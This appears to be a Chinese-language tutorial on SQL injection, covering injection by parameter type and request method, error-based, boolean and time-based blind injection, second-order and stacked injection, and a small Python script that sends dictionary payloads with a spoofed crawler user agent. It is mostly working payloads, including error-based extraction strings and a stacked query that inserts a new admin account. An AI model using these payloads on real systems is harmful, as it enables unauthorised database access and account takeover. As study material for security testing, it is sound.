本文章仅供学习交流使用
一、数据库类型
1、Mysql基础语句及数据库注入语句
(1)基础语句:
(数据库查询规则,需要逐步进入)
数据库A对应网站(第一步)show databases;
表名(第二步):
列名(第三步)
数据(第四步:目标)
数据库B-网站B
表名
列名
数据
数据库C-网站C
表名
列名
数据
查询数据库:show databases;
选择数据库(Dvwa):use dvwa;
显示表:show table;
查询表内容(users):select * from users;
列名
数据
查询列(使用注入时需单个查询):select password from users;
(2)各个数据库注入语句思路:
各个数据库类型注入思路_clear018的博客-CSDN博客
二、参数类型:数字,字符,搜索,json等
sql语句干扰符号:',",$,),}等,具体看写法
数字型:Select * from user where id=1(数字同样存在字符干扰)
如果存在单引号干扰,拼接情况:
错误拼接:(直接拼接,导致注入语句成了一个字符串)
?id=1 and =1
SELECT * FROM user WHERE id='1 and 1=1’
正确方式:利用单引号进行闭合
?id=1 'and '1'='1
SELECT * FROM user WHERE id='1' and '1'='1'
同理存在双引号干扰的时候也是一样,可以使用注释--+闭合掉错误
?id=1" and 1=2--+
SELECT * FROM user WHERE id=1" and 1=2--+
把原始语句拼接到注入点,否则拼接的语句变成一个字符
字符型:Select * from user where name='clear018'(字符型需使用单引号)单引号干扰
在进行字符串注入的时候需要进行闭合单引号
同时存在其他干扰字符
搜索型:%符号干扰
如:?x=clear
Select * from user where name like='%clear%'
JSON型:数据传输的格式不一样,需要按照该语句方式进行对应格式编写注入语句
request payload也是存在注入点
如果是数字一般情况下不需要闭合,如果是字符需要闭合符号
#格式
{
'user':'admin',
'password':'admin'
}
#注入方式
{
'user':'admin 查询语句',
'password':'admin'
}
三、请求方法:GET、POST、COOKIE、request、http头等
访问网站的数据包头,不同的请求方式,上传的数据,内容都不一样
在进行接受哪个提交方式里写入注入语句,造成注入
不同的请求方法要使用不同的注入提交方式
GET型:接受get方式提交的数据
POST型:接受post方式提交的数据
COOKIE型:接受cookie提交的数据,无论是post还是get提交
request型:全部接收,如果是使用request,就不需要纠结是什么提交方式了
http头型:接受SERVER提交的数据
进行提交的时候会获取电脑ip,浏览器版本等数据导入数据库进行查询
如果在提交之前进行数据包的修改,例如将浏览器版本修改为sql恶意语句,就会导致sql注入漏洞
post注入:(存在单引号干扰,如果不存在无需闭合)
burp抓包修改post提交内容
对字符进行单引号闭合' and 1=2 union select database(),2#
cookie:
同样,进行burp抓包
由于部分网站对post提交方式进行了过滤,但是cookie方式没有进行过滤的情况下,
我们使用cookie方式提交,他只是过滤了post,不影响使用cookie提交使用
然后用注释符号把后面会导致错误的注释掉
http头型:对其User-Agent:使用insert使用查询语句
四、语句类型以及盲注使用
当面对一个网站,你需要知道他是属于哪一种注入方式,是查询,更新还是删除排序
还需要判断他是有回显还是没回显
通过注入点产生的地方和网站的关系猜测注入点
是属于以下的是哪一种sql语句
都是没有回显的注入点所以需要盲注
在选则上优先使用报错盲注,其次逻辑判断,最后延时判断
1)select 查询数据(联合查询)
在网站应用中进行数据显示查询操作
例:select * from news where id=$id
2)insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,‘x’,‘$t’)
在值内进行插入注入语句
3)delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
4)update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd=‘$p’ where id=2 and username=‘admin’
5)order by 排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
网站注册漏洞(insert,update语句)
对进行提交数据进行抓包判断使用报错
insert、delete、update使用updatexml函数报错获取数据
参考文章:利用insert、update和delete注入获得数据
SQL 注入报错盲注类型
盲注就是在注入过程中,很多时候获取的数据不能回显至前端页面。
此时,我们需要利用一些方法进行判断、尝试,
这个过程称之为盲注。我们可以知道盲注分为以下三类:
优先选择报错盲注,其次逻辑判断,最后延时判断
1)基于报错的sql盲注,-报错回显
floor,updatexml,extractvalue
2)基于布尔的 SQL 盲注,逻辑判断
regexp,like,ascii,left,ord,mid
3)基于时间的 SQL 盲注,延时判断
if,sleep
like 'ro%' #判断 ro 或 ro...是否成立
regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等
if(条件,5,0) #条件成立 返回 5 反之 返回 0
sleep(5) #SQL 语句延时执行 5 秒
mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
length(database())=8 #判断数据库 database()名的长度
ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 9
报错回显语句:
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
详情参考:12种报错注入+万能语句 - 简书 (jianshu.com)
强制报错 floor, ExtractValue,UpdateXml
insert 插入数据
注册信息填写完成后提交抓包
floor报错
#floor报错
username=clear' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '&password=11111111&sex=1&phonenum=111111111111&email=&add=&submit=submit
ExtractValue报错
' or extractvalue(1,concat(0x7e,database())) or '
updatexml函数报错
' or updatexml(1,concat(0x7e,(database())),0) or'
0x7e只是为——符合,方便辨识查找
update 更新数据
修改后提交进行抓包
floor报错
' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '
ExtractValue报错
' or extractvalue(1,concat(0x7e,version())) or '
updatexml函数报错
' or updatexml(1,concat(0x7e,(version())),0) or '
update 更新数据
点击删除进行抓包
floor报错
+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
#在进行get注入要对空格替换为+
extractvalue报错
+or+extractvalue(1,concat(0x7e,database()))
updatexml函数报错
+or+updatexml+(1,concat(0x7e,database()),0)
关于注入位置:
只要是进行对数据库操作的都可以注入,取决于站长是否有使用该数据对数据库进行使用
除非进行过限制过滤,
如:在进行插入语句注入的时候,该字符只能输入数字,那就不能使用字符进行注入
由于本人不会,也不知道能不能使用进制数字进行注入(前提没有字数限制)
(可以尝试F12改表框字符数限制)
时间盲注 if,sleep
and sleep ()#延迟时间,根据括号内容延迟时间回显
if( 条件,参数A,参数B)#如果第一个的条件执行true则返回A,如果执行为false则返回B
sleep(if(判断条件查询+判断后成功延迟回显时间A,时间B)
id=1%20and%20sleep(if(database()=%27security%27,10,0))--+
id=1 and sleep(if(database()='security',10,0))--+
'''
查询,如果database为security返回延迟10秒,如果不对,延迟0秒返回
进行数据库名猜解,因为他的回显时间就是通过sleep延迟的回显时间,通过页面时间的加载时间判断语句判断的结果
但通常情况,延迟会因为网络等各种原因进行延迟,需要设定一个排除网络延迟能判断的时间(长时间)
'''
延迟显示
未延迟
当进行猜解数据库名字和版本号时候,不可能一个一个进行爆破
可以使用length猜解长度,再用ASCII表和substr猜解每一个字符的字符码
截取爆破
?id=1 and sleep(if(length(database())=8,10,0))--+
security为8位,正确,故延迟
?id=1 and sleep(if(mid(database(),1,1)='s',10,3))
#延迟时间(判断(截取数据库(当前数据库(),1,1)是否为s,真延迟10秒,假则3秒延迟))
#判断数据库的第一个字段是否为s,如果是延迟10秒,不是则不进行3秒延迟
延迟判断正确
?id=1 and sleep(if(mid(database(),2,1)='e',10,3))
#判断第二位是否为e
ASCII表爆破
and if(ascii(substr(database(),1,1))=115,sleep(10),3)
'''-如果(ASCII表(截取(当前数据库,第一个位置,长度1))等于ASCII表的115位字符,则延迟(10)秒,否则延迟3秒)
-如果截取当前数据库第一位的一个长度为ASCII表中115位,正确延迟10秒,错误延迟3秒
'''
关于查询字段
LIMIT 0,1
SQL SELECT TOP, LIMIT, ROWNUM | 菜鸟教程 (runoob.com)
布尔注入
regexp,like,ascii,left,ord,mid
length猜长度
%20length(database())=8
left猜字符
?id=1' and left(version(),1)=5--+
#代码1 截取当前版本的第一位是否为5
?id=1' and left(version(),3)=5.5--+
#代码2截取当前版本的第一位是否为5.5
?id=1' and left(version(),3)=5.4--+
#代码3截取当前版本的第一位是否为5.4
五、加解密注入,二次注入,中转,堆叠
加解密注入
现如今,很多网站都存在加密,而我们需要先判断该注入点是否为加密过
如果想在某一个进行过加密的注入点进行注入
要先要获取该文字的加密算法,格式
将注入点的语句进行解密再写入注入语句进行加密注入
如果是直接进行拼接,网站解析加密的时候,原属字段是密文,而注入语句为明文,造成解析错误
一般来说大型网站都会拥有数据自己的加密算法,但也不是所有网站都能有
更多网站因为经费,而使用的是base64,MD5等等算法,需要根据实际进行判断
例如:在进行cookie注入的时候,cookie会对其进行加密
而我们想在cookie进行注入,需要将cookie的字段进行解密,然后写入注入语句进行加密注入
二次注入
普通注入与二次注入不同点
产生对方的不同
前者查询注入通过查询语句,通过注入点对数据库进行操作产生风险,
而后者二次注入则是通过源代码进行注入,然后在调取源代码的时候执行恶意语句
二次注入产生在数据互联的地方
简单来说就是:
把攻击语句学好放在某个地方,网站在调用语句时拼接新的语句
因此,二次注入没办法通过扫描工具和手工测试出来,无法从黑盒测试中进行,只能白盒
例如:
注册账号插入攻击语句,然后修改密码的时候调用攻击语句
为什么说要源代码,因为在进行注入了恶意语句,而使用恶意语句的地方在不知道源代码的情况下是不知道哪里,只能靠猜,难度巨大
示例:
进行注册用户,在注册用户中注册已存在的账号,但是在注册会有网站进行检测,
故‘#注册一个不一样的账号进行登陆
至于为什么要写单引号‘和#,是因为在源代码中,是属于单引号闭合,
闭合之后dhakkan'#则变为dhakkan,#将后面需要密码进行注释了
注册账号
这时候在经过修改密码的时候,由于闭合’#,导致系统识别为dhakkan账号而不是dhakkan‘#
所以修改了dhakkan本来的账号
如果用户名使用的是报错注入语句,就能进行查询
但是在实际情况下,会有长度限制
分两种情况
一种是前端限制
方法1:通过修改html突破长度限制
方法2:通过修改数据包突破长度限制
一种是后端限制
后端一般看不出来,只有看数据才能知道,也无法修改
堆叠注入
利用分号;进行多个注入语句使用
其实就是将多个注入语句利用分号间隔,然后一起注入
限制:堆叠注入不是所有环境都可以进行使用的,会收到数据库不支持和api的限制
支持主流mysql,oracle,sql severs
注入需要管理员的账号密码,由于密码进行了加密,无法解密
因此可以尝试使用堆叠注入,直接进行插入一个新的管理员账号密码,密码自定义
';insert into users(id,username,password)values ('22','clear','018')--+
中转注入
利用插件对注入语句进行中转
比如在进行加解密的时候注入,每次都要将自己的注入语句根据原语句进行拼接加密
但可以使用插件sqlmap使用脚本对注入语句自动拼接加密
利用本地注入脚本字典>本地网站》远程地址
import json
import requests
url='xxx.xxx.xxx.xxx:xx/'#url地址
head={
'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'#伪装的UA
}
for data in open('PH1P.txt'):#遍历本地脚本字典
data=data.replace('\n','')#替换
urls=url+data#拼接
code=requests.get(urls).status_code
print(urls+'|'+str(code))#输出拼接